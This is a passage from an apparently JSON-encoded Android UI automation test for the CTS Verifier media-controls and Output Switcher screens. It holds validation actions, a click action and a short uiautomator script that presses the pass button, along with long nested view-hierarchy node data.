ontentValidationAction\",\"name\":\"Verify that icons appear for next track\",\"actionId\":\"0c59a0de-6cf5-4bd0-9b80-48a3f0c80a24\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"next track\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"ec704c76-9b71-489b-9304-b27310e94a6d\",\"displayText\":\"next track\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageButton\",\"resourceId\":\"com.android.systemui:id/action3\",\"contentDesc\":\"next track\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":false,\"bounds\":{\"x1\":208.0,\"y1\":546.75,\"x2\":250.0,\"y2\":588.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":224.0,\"y\":561.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":5.0,\"y\":6.25,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"ec704c76-9b71-489b-9304-b27310e94a6d\",\"firstText\":\"next track\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"next track\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":209.0,\"y1\":546.0,\"x2\":239.0,\"y2\":577.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that icons appear for fast forward\",\"actionId\":\"0794a730-678a-41c7-a9a2-2d5c48457e02\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"fast forward\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"a92ac963-f5e8-4336-9fc8-68f51c053c2b\",\"displayText\":\"fast forward\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageButton\",\"resourceId\":\"com.android.systemui:id/action4\",\"contentDesc\":\"fast forward\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":false,\"bounds\":{\"x1\":257.0,\"y1\":546.75,\"x2\":299.0,\"y2\":588.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":278.0,\"y\":565.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":2.75,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"a92ac963-f5e8-4336-9fc8-68f51c053c2b\",\"firstText\":\"fast forward\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"fast forward\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":258.0,\"y1\":550.0,\"x2\":298.0,\"y2\":580.0}},{\"type\":\"PythonScriptAction\",\"name\":\"Click pass button\",\"actionId\":\"18570b3c-6c3d-4510-adc2-154ed756a7d7\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"riacheltseng\",\"script\":\"from python_uiautomator.device import Device\\nfrom python_uiautomator.constant import MatchOption\\n\\nd= Device.create_device_by_slot(0)\\nd.text(\\\"Check that icons appear for rewind, previous track, pause, next track and fast forward\\\", MatchOption.CONTAINS).down().resource_id(\\\"com.android.cts.verifier:id/iva_action_button_pass\\\").click()\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"ClickAction\",\"name\":\"Click Action, Phone speaker\",\"actionId\":\"59ce4786-baa1-4065-897d-ca7424dd41cf\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.systemui:id/media_seamless_text\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that the Output Switcher opens\",\"actionId\":\"26ca34c0-d23d-46be-87ab-332ad44b6e4d\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Pair new device\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"ac4478cf-2748-45d6-8079-f32ba454b6f1\",\"displayText\":\"Pair new device\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"e1c10f20-b870-4793-b697-a42ac846a587\",\"displayText\":\"Phone speaker\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"60d4a2de-dbeb-471e-ba0b-d17992d92ce3\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.view.View\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":553.5,\"x2\":356.5,\"y2\":648.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"},{\"uuid\":\"40d3f96a-2b0d-49a1-9cc8-f04f6fcd2ebe\",\"displayText\":\"Phone speaker\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"cfa01955-de4c-45b2-80a2-d6f3cb81d8f0\",\"displayText\":\"Phone speaker\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"e2390bb7-4249-48b2-9a52-7902775c1d5d\",\"displayText\":\"Phone speaker\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"037f8327-e0bc-4ff1-b4a5-46ddf98774f0\",\"displayText\":\"Phone speaker\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"00fba652-f7c1-4ce8-8820-000d04567cf8\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"a51043ba-c79e-4344-8632-83e26297dd37\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":12.25,\"y1\":558.75,\"x2\":54.25,\"y2\":600.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":558.75,\"x2\":54.25,\"y2\":600.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"},{\"uuid\":\"95846cab-ad45-4678-b5f5-74549a06283b\",\"displayText\":\"Phone speaker\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"95ab5459-e571-45c5-9634-952141f6616f\",\"displayText\":\"Phone speaker\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Phone speaker\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":54.25,\"y1\":560.0,\"x2\":159.75,\"y2\":579.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Phone speaker\"},{\"uuid\":\"606c6123-e037-443e-abeb-9bb65fc276f5\",\"displayText\":\"12.0\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.SeekBar\",\"text\":\"12.0\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":54.25,\"y1\":583.5,\"x2\":325.0,\"y2\":599.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"12.0\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"android:id/content\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":54.25,\"y1\":553.5,\"x2\":356.5,\"y2\":606.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Phone speaker\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":553.5,\"x2\":356.5,\"y2\":606.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Phone speaker\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/row_view\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":553.5,\"x2\":356.5,\"y2\":606.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Phone speaker\"}],\"className\":\"android.widget.FrameLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":553.5,\"x2\":356.5,\"y2\":606.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Phone speaker\"},{\"uuid\":\"cc6fdc8b-0e80-450d-8fe8-63d123ca71ee\",\"displayText\":\"Pair new device\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"c0dfd7e6-c6e9-43df-998f-7c687001fc6f\",\"displayText\":\"Pair new device\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"7db04c8d-d387-45ef-982d-3029f64d5e5a\",\"displayText\":\"Pair new device\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"e0c28804-b7b3-4466-8e0f-c8da3e453073\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"85868258-d77b-4ddb-823b-fc37c424ddd6\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":12.25,\"y1\":606.0,\"x2\":54.25,\"y2\":648.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":606.0,\"x2\":54.25,\"y2\":648.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"},{\"uuid\":\"ba9f7668-b99e-46ff-886f-b562edead5f4\",\"displayText\":\"Pair new device\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"fa72b7b5-d2be-4148-bc09-7088acf5ae08\",\"displayText\":\"Pair new device\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Pair new device\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":54.25,\"y1\":617.5,\"x2\":165.5,\"y2\":636.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-6.625,\"y\":0.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Pair new device\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"android:id/content\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":54.25,\"y1\":606.0,\"x2\":356.5,\"y2\":648.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Pair new device\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":606.0,\"x2\":356.5,\"y2\":648.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Pair new device\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/row_view\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":606.0,\"x2\":356.5,\"y2\":648.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Pair new device\"}],\"className\":\"android.widget.FrameLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":606.0,\"x2\":356.5,\"y2\":648.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Pair new device\"}],\"className\":\"androidx.recyclerview.widget.RecyclerView\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":553.5,\"x2\":356.5,\"y2\":648.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Phone speaker\"}],\"className\":\"android.widget.FrameLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":553.5,\"x2\":356.5,\"y2\":648.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Phone speaker\"}],\"className\":\"android.view.ViewGroup\",\"resourceId\":\"com.android.settings:id/slice_view\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":553.5,\"x2\":356.5,\"y2\":648.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":116.5,\"y\":626.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":63.5,\"y\":-25.75,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"fa72b7b5-d2be-4148-bc09-7088acf5ae08\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Pair new device\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":53.0,\"y1\":616.0,\"x2\":180.0,\"y2\":637.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that the Output Switcher opens\",\"actionId\":\"55313067-ca6b-4d77-98c9-6be522c52858\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Phone speaker\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"98a9a357-f358-45b2-aee7-f144f544f328\",\"displayText\":\"Phone speaker\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"d8e8ae7b-0af2-4610-b1e6-8fbe480dc6f6\",\"displayText\":\"Phone speaker\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"89645db7-a0fb-4fc3-a8a8-7248a734c7b1\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.view.View\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":553.5,\"x2\":356.5,\"y2\":648.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"},{\"uuid\":\"4da66d3f-01bf-420c-a00c-ecdba9098df1\",\"displayText\":\"Phone speaker\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"2899b6c4-74b3-4a27-abf4-fcd45dc127cc\",\"displayText\":\"Phone speaker\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"74d404d1-9994-4b5e-921e-649fc8bb127b\",\"displayText\":\"Phone speaker\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"17880b52-ddb3-496b-b0cf-a3570b6f855f\",\"displayText\":\"Phone speaker\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"fb653c28-392b-4dee-86ab-a45d72ea8831\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"e96ca0eb-ef88-440c-9b80-0543371f19af\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":12.25,\"y1\":558.75,\"x2\":54.25,\"y2\":600.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":558.75,\"x2\":54.25,\"y2\":600.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"},{\"uuid\":\"f0150c84-f36b-4b1a-b0ab-514ab7a5e157\",\"displayText\":\"Phone speaker\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"b583e21a-5161-4c94-96d8-4521f2c665fc\",\"displayText\":\"Phone speaker\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Phone speaker\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":54.25,\"y1\":560.0,\"x2\":159.75,\"y2\":579.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-10.0,\"y\":0.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Phone speaker\"},{\"uuid\":\"e1f9c34f-debb-4900-b701-9123a3d374b7\",\"displayText\":\"12.0\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.SeekBar\",\"text\":\"12.0\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":54.25,\"y1\":583.5,\"x2\":325.0,\"y2\":599.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"12.0\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"android:id/content\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":54.25,\"y1\":553.5,\"x2\":356.5,\"y2\":606.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Phone speaker\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":553.5,\"x2\":356.5,\"y2\":606.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Phone speaker\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/row_view\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":553.5,\"x2\":356.5,\"y2\":606.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Phone speaker\"}],\"className\":\"android.widget.FrameLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":553.5,\"x2\":356.5,\"y2\":606.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Phone speaker\"},{\"uuid\":\"d6fafe11-3307-40df-af55-5113a08a6c45\",\"displayText\":\"Pair new device\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"da0f5fa4-74d0-4900-a949-174bff063fa0\",\"displayText\":\"Pair new device\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"2ea42556-e107-4a23-bd70-3fe6edeb8825\",\"displayText\":\"Pair new device\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"49fe928d-fbda-4738-b76f-a351dba8b419\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"a0c153ee-ae8e-4ab9-b599-15d3f9cd228c\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":12.25,\"y1\":606.0,\"x2\":54.25,\"y2\":648.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":606.0,\"x2\":54.25,\"y2\":648.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"},{\"uuid\":\"47f8ba42-ef2b-449f-bfae-d4d0c3fb010c\",\"displayText\":\"Pair new device\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"b59a128b-576f-49ab-baf4-2b6e07df337f\",\"displayText\":\"Pair new device\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Pair new 